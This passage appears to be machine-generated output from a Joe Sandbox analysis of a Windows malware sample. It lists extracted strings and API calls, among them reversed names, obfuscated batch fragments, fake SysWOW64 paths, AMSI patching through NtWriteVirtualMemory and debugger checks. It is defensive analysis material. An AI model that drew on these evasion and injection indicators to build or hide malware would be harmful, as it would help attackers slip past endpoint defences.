028794A0, 028796D6, 028798DC, 02879AA0, 02879D8F, 02879E3E, 0287A07E, 0287A275, 0287A36D, 0287A81F, 0287ADE7
SLGetSLIDList, xrefs: 02879A01
.url, xrefs: 0287590F
MiniDumpWriteDump, xrefs: 02878DD2
sys.thgiseurt, xrefs: 02874300
RtlCreateQueryDebugBuffer, xrefs: 0287A23C
NtQueryDirectoryFile, xrefs: 0287A4F3
EnumProcessModules, xrefs: 0287A54D
VirtualAlloc, xrefs: 0287A638
CryptSIPGetSignedDataMsg, xrefs: 0286F6DB
Kernel32, xrefs: 0287A561, 0287A570, 0287A5AC
SxTracerGetThreadContextDebug, xrefs: 02879C41, 0287A911
DllRegisterServer, xrefs: 0286F435, 0286F981
FlushInstructionCache, xrefs: 0287A737
GetProcessMemoryInfo, xrefs: 02879CA7
NtAccessCheck, xrefs: 0287AB75
http, xrefs: 02871A09
UacInitialize, xrefs: 0286F36F, 0286FA36, 02870179, 0287418D, 02874603, 02874DFC, 028750B8, 0287546E, 0287595B, 02877471, 02878CB3, 028790CF
HotKey=, xrefs: 02876A65
CreateProcessW, xrefs: 0287A56B
CreateProcessWithLogonW, xrefs: 0287A598
ieproxy, xrefs: 0286F3F5, 0286F41C, 0286F44C
URL=file:", xrefs: 028768DB
RetailTracerEnable, xrefs: 02879C0E
C:\Windows\System32\, xrefs: 0286FCEB, 028774EF, 02878237
SLLoadApplicationPolicies, xrefs: 02879A67
EnumServicesStatusExA, xrefs: 0287A52F
@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or, xrefs: 028749CC
LdrGetProcedureAddress, xrefs: 0287ABDB
DllGetActivationFactory, xrefs: 0286F94E
CreateProcessA, xrefs: 0287A55C
EnumServicesStatusExW, xrefs: 0287A53E
BCryptQueryProviderRegistration, xrefs: 0286F7BD
sppc, xrefs: 028799E5, 02879A18, 02879A4B, 02879A7E, 0287A98E, 0287A9C1
ScanString, xrefs: 0286F1DF, 0286F46E, 0286F583, 0286F714, 0286F8A5, 0286FB2E, 0286FC6F, 028701F5, 02870E0D, 02870FA9, 028713E5, 02871600, 0287167C, 02871999, 02871CBF, 02871F88, 028723C5, 028727F6, 02872A06, 02872ABC, 02872DEB, 02872F0D, 028731CE, 02873619, 02874111, 02874587, 0287477C, 02875134, 028752CE, 02875613, 028759D7, 02876076, 0287685C, 028769D3, 02876A8B, 028770F8, 02877592, 028779F9, 0287801C, 02878AC3, 02878EB5, 0287929E, 0287965A, 02879958, 02879D13, 0287A0FA, 0287A2F1, 0287A89B
kernel32, xrefs: 0287A64F, 0287A682, 0287A6B5, 0287A6E8, 0287A71B, 0287A74E, 0287A781
TrustOpenStores, xrefs: 0286F4E4
advapi32, xrefs: 02878DC3
NtQueryInformationThread, xrefs: 0287AA43
ntdll, xrefs: 02878DAF, 02878DFF, 02878E13, 0287A187, 0287A1BA, 0287A1ED, 0287A220, 0287A253, 0287A9F4, 0287AA27, 0287AA5A, 0287AA8D, 0287AAC0, 0287AAF3, 0287AB26, 0287AB59, 0287AB8C, 0287ABBF, 0287ABF2, 0287AC25, 0287AC58, 0287AC8B, 0287ACBE
NtGetWriteWatch, xrefs: 0287A9DD
I_QueryTagInformation, xrefs: 02878DBE
Advapi, xrefs: 0287A516, 0287A525, 0287A534, 0287A543, 0287A57F, 0287A58E, 0287A59D
SLGetGenuineInformation, xrefs: 028799CE
psapi, xrefs: 0287A552

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: File$LibraryPath$AddressModuleNameProc$FreeHandleLoadName_$AttributesCloseCreateMove$CheckDebuggerDeleteDirectoryInetInformationInitOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
API String ID: 2010126900-181751239
Opcode ID: 4a6af8d5175f16f4390cc43eb0f2f187b10861abb1eaff431fa7381c0ed5b936
Instruction ID: 5f799375e4cbdc18c6ccfa982a5d0e668c24e68f34ce96a08ecddd317e076c42
Opcode Fuzzy Hash: 4a6af8d5175f16f4390cc43eb0f2f187b10861abb1eaff431fa7381c0ed5b936
Instruction Fuzzy Hash: CA24D93CA101698BEB20EF68DD80ADE73F7BF94304F1084E5E409E7655DA74AE858F52

Function 02855A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02850000,0287E790), ref: 02855A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02850000,0287E790), ref: 02855AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02850000,0287E790), ref: 02855AD0
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02855AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02855B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02855B37
RegQueryValueExA.ADVAPI32(?,02855CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02855B7D,?,80000001), ref: 02855B55
RegCloseKey.ADVAPI32(?,02855B84,00000000,?,?,00000000,02855B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02855B77
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02855B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02855BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02855BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02855BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02855C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02855C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02855C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02855C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02855C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02855C97

Strings

Software\Borland\Locales, xrefs: 02855AA8, 02855AC6
Software\Borland\Delphi\Locales, xrefs: 02855AE4

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: a1c8cf54dbf5fc811c062e10e6109ac706bcaf7807a732947b6c0ed45846943c
Instruction ID: c6c545be234b803eec101e1deeaf1e4c515e272de08f7ef4692386d5cc61fcb1
Opcode Fuzzy Hash: a1c8cf54dbf5fc811c062e10e6109ac706bcaf7807a732947b6c0ed45846943c
Instruction Fuzzy Hash: E0516A7DA4026C7EFB21D6A4CC49FEF77BD9B04744F8001A1AE08E6181D7789A448F66

Function 0286F024 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 0286F034
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0286F046
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0286F05D

Strings

CheckRemoteDebuggerPresent, xrefs: 0286F040
KernelBase, xrefs: 0286F02F

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: 404985986749571d360da7b1fc7947faf77f782cbff1191cacb2944288c6642f
Instruction ID: 8d32f38bc2862bcb1046d022f47e248997fa5a2ca849fc4164cb2d8266a59bf4
Opcode Fuzzy Hash: 404985986749571d360da7b1fc7947faf77f782cbff1191cacb2944288c6642f
Instruction Fuzzy Hash: 66F0273C900228BADB10B6A8988CBECFBF85B25328F6403C0A536E21C1E3754640C653

Function 0286DFE4 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02854ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02854EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0286E0B4), ref: 0286E01F
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0286E0B4), ref: 0286E04F
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0286E064
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0286E090
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0286E099

Part of subcall function 02854C0C: SysFreeString.OLEAUT32(0286ED84), ref: 02854C1A

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: 76b13c4017cc381cf3642cba6a213d98192569639a4ce16bd1b095f737e7da3b
Instruction ID: b7a1699438472fd5db110d91b7d6a11176623b0ab8591acfcee8ab4fc0a1c633
Opcode Fuzzy Hash: 76b13c4017cc381cf3642cba6a213d98192569639a4ce16bd1b095f737e7da3b
Instruction Fuzzy Hash: 9321C17DB40318BAEB11EAE8CC46FEE77BDAB48B04F500461B704F71C0D6B4AA458B56

Function 0286E72C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0286E86A

Strings

ScanBuffer, xrefs: 0286E7B3
Initialize, xrefs: 0286E75A
OpenSession, xrefs: 0286E80C

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 38207dc69a3cc9650be978bfe6a95a67b4f531c3c95dfa2516bfc950e687a304
Instruction ID: c2e8a0bb742cfe36e451578e25876c2dc9ccf32fa79d42a24a4cd1dacb50c0b0
Opcode Fuzzy Hash: 38207dc69a3cc9650be978bfe6a95a67b4f531c3c95dfa2516bfc950e687a304
Instruction Fuzzy Hash: 48411F3DA102189FEB10EFA8D881EAEB7FAEF48710F214431E841E7251DA74AD458F52

Function 02867CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02868018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02868088,?,?,00000000,?,028679FE,ntdll,00000000,00000000,02867A43,?,?,00000000), ref: 02868056
Part of subcall function 02868018: GetModuleHandleA.KERNELBASE(?), ref: 0286806A

Part of subcall function 028680C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02868148,?,?,00000000,00000000,?,02868061,00000000,KernelBASE,00000000,00000000,02868088), ref: 0286810D
Part of subcall function 028680C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02868113
Part of subcall function 028680C0: GetProcAddress.KERNEL32(?,?), ref: 02868125

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02867D6C

Strings

yromeMlautriVetirW, xrefs: 02867D13
Ntdll, xrefs: 02867D43

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: 96576e318656a92f8a32218262e7ffb290ce6f28244c38d70c709e0935c5cb24
Instruction ID: a4a4440c54469bd7d3a46972263d14726fd61cad85448c1fca0b943caa59a1cb
Opcode Fuzzy Hash: 96576e318656a92f8a32218262e7ffb290ce6f28244c38d70c709e0935c5cb24
Instruction Fuzzy Hash: BC018C7C640208AFE701EF98D845EAEB7EDEB4C704F514854B904D7694C634A9148BA2

Function 02866D48 Relevance: 1.5, APIs: 1, Instructions: 48
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02866CEC: CLSIDFromProgID.OLE32(00000000,?,00000000,02866D39,?,?,?,00000000), ref: 02866D19

CoCreateInstance.OLE32(?,00000000,00000005,02866E2C,00000000,00000000,02866DAB,?,00000000,02866E1B), ref: 02866D97

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 65c40f0b19065ca358790d5fc6af019e519433211a41d39f6eedca6334c94f38
Instruction ID: 8461f32faf3f1b36e7c467f78a4359eaa9d5c766b107c3ce4c8e75efd7dcf430
Opcode Fuzzy Hash: 65c40f0b19065ca358790d5fc6af019e519433211a41d39f6eedca6334c94f38
Instruction Fuzzy Hash: B001473C6087546EF711DFA4DC1687FBBAEE748B00B610835F801D2640F6389900C861

Function 02851724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 028517D0
Sleep.KERNEL32(0000000A,00000000), ref: 028517E6

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a2b5801158c000f41e3eeb1e6c9e1f838e9a8da11626efa13ac11996e7b7ee50
Instruction ID: ab1f1acf4c6629c383d56bc174ef46240da44c5e17200cdd37ceff063e29bdbe
Opcode Fuzzy Hash: a2b5801158c000f41e3eeb1e6c9e1f838e9a8da11626efa13ac11996e7b7ee50
Instruction Fuzzy Hash: AFB1467EA002A08BDB16CF2CE4C8365BBE1EB84315F1886AED94DCB3C5DB719455CB90

Function 02868704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 0286870D

Part of subcall function 028680C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02868148,?,?,00000000,00000000,?,02868061,00000000,KernelBASE,00000000,00000000,02868088), ref: 0286810D
Part of subcall function 028680C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02868113
Part of subcall function 028680C0: GetProcAddress.KERNEL32(?,?), ref: 02868125

Part of subcall function 02867CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02867D6C

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 0286876C

Strings

DllGetClassObject, xrefs: 02868732
amsi, xrefs: 02868708
W, xrefs: 02868719

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 58a1aaa533ca4dad65ae46b2c37603675791d52e2b0d43562e01cad8d55114b8
Instruction ID: a02eea77e7be349fe344309e68d940b5fa15657f2b8aabeec7cb8623dd35898f
Opcode Fuzzy Hash: 58a1aaa533ca4dad65ae46b2c37603675791d52e2b0d43562e01cad8d55114b8
Instruction Fuzzy Hash: EDF0445854C381B9E201E6788C49F5BBECE4B52224F448A58B6E8DA2D2D679D10487A7

Function 02851A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,02851FE4), ref: 02851B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02851FE4), ref: 02851B31

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8c89e87c8748c524c56b3c6c213f0a1e6a0e351350069d1b315a6e4a138dc013
Instruction ID: 627b0647de13b4b6c176ad73f654235cff599a1d8f4c1cd3fb75b3072c537615
Opcode Fuzzy Hash: 8c89e87c8748c524c56b3c6c213f0a1e6a0e351350069d1b315a6e4a138dc013
Instruction Fuzzy Hash: A951F47D6012608FE716CF6CD988766BBD0AB45318F1885AEED4CCB2C6E770C845CB92

Function 0286E72A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0286E86A

Strings

ScanBuffer, xrefs: 0286E7B3
Initialize, xrefs: 0286E75A
OpenSession, xrefs: 0286E80C

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 9879aa0d6e3434c99e9e1a1ddb8c9cc6a4b7bb10cae783adc439a7bd33215d39
Instruction ID: 73e4a26cc2d30c19c47cf6bbfa36b8ad171f541c69319f826592fdef2e6f0e61
Opcode Fuzzy Hash: 9879aa0d6e3434c99e9e1a1ddb8c9cc6a4b7bb10cae783adc439a7bd33215d39
Instruction Fuzzy Hash: 27411F3DB102189FEB10EFA8D881EAEB7FAEF48710F214431E841E7251DA74AD458F52

Function 0286881C Relevance: 6.1, APIs: 4, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,00000000,02868903), ref: 02868850
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02868903), ref: 02868860
GetProcAddress.KERNEL32(74B20000,00000000), ref: 02868879

Part of subcall function 02867CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02867D6C

FreeLibrary.KERNEL32(74B20000,00000000,028B2388,Function_000065D8,00000004,028B2398,028B2388,000186A3,00000040,028B239C,74B20000,00000000,00000000,00000000,00000000,02868903), ref: 028688E3

Memory Dump Source

